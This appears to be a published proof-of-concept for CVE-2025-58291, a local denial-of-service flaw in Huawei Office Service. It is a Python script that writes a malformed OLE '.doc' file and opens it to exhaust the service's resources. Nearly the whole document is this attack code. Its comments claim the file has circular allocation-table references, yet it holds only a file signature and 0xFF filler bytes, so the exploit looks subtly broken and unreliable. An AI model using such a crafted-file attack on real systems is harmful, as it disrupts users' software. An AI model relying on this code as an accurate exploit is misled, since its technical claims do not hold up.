CVE-2025-58291：华为办公服务拒绝服务漏洞

# CVE-2025-58291 PoC - Huawei Office Service DoS # Vulnerability: Denial of Service in Huawei Office Service # CVSS: 3.3 (LOW) # Attack Vector: Local, requires user interaction import os import sys import struct def generate_malicious_document(): """ Generate a specially crafted document that triggers DoS in Huawei Office Service when opened by the user. """ # Create a malformed office document header # that causes the office service to consume excessive resources header = b'\xD0\xCF\x11\xE0\xA1\xB1\x1A\xE1' # OLE compound document signature # Craft malformed sector allocation table (FAT) # with circular references causing infinite loop fat_sector = b'\xFF\xFF\xFF\xFF' * 128 # Invalid FAT entries # Add corrupted stream data to trigger resource exhaustion payload = header + fat_sector # Write the malicious document output_path = "malicious_office_doc.doc" with open(output_path, 'wb') as f: f.write(payload) print(f"[+] Malicious document generated: {output_path}") print("[*] When opened with Huawei Office Service, this may trigger DoS") return output_path def trigger_dos_local(): """ Attempt to trigger the DoS condition locally by sending malformed data to the office service. """ try: # Locate the office service process or socket # and send malformed input to trigger resource exhaustion doc_path = generate_malicious_document() # Attempt to open the document with the default handler if sys.platform == 'win32': os.startfile(doc_path) elif sys.platform == 'darwin': os.system(f'open "{doc_path}"') else: os.system(f'xdg-open "{doc_path}"') print("[!] Document opened. Monitor the office service for DoS condition.") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": print("=" * 60) print("CVE-2025-58291 - Huawei Office Service DoS PoC") print("For security research and testing purposes only") print("=" * 60) trigger_dos_local()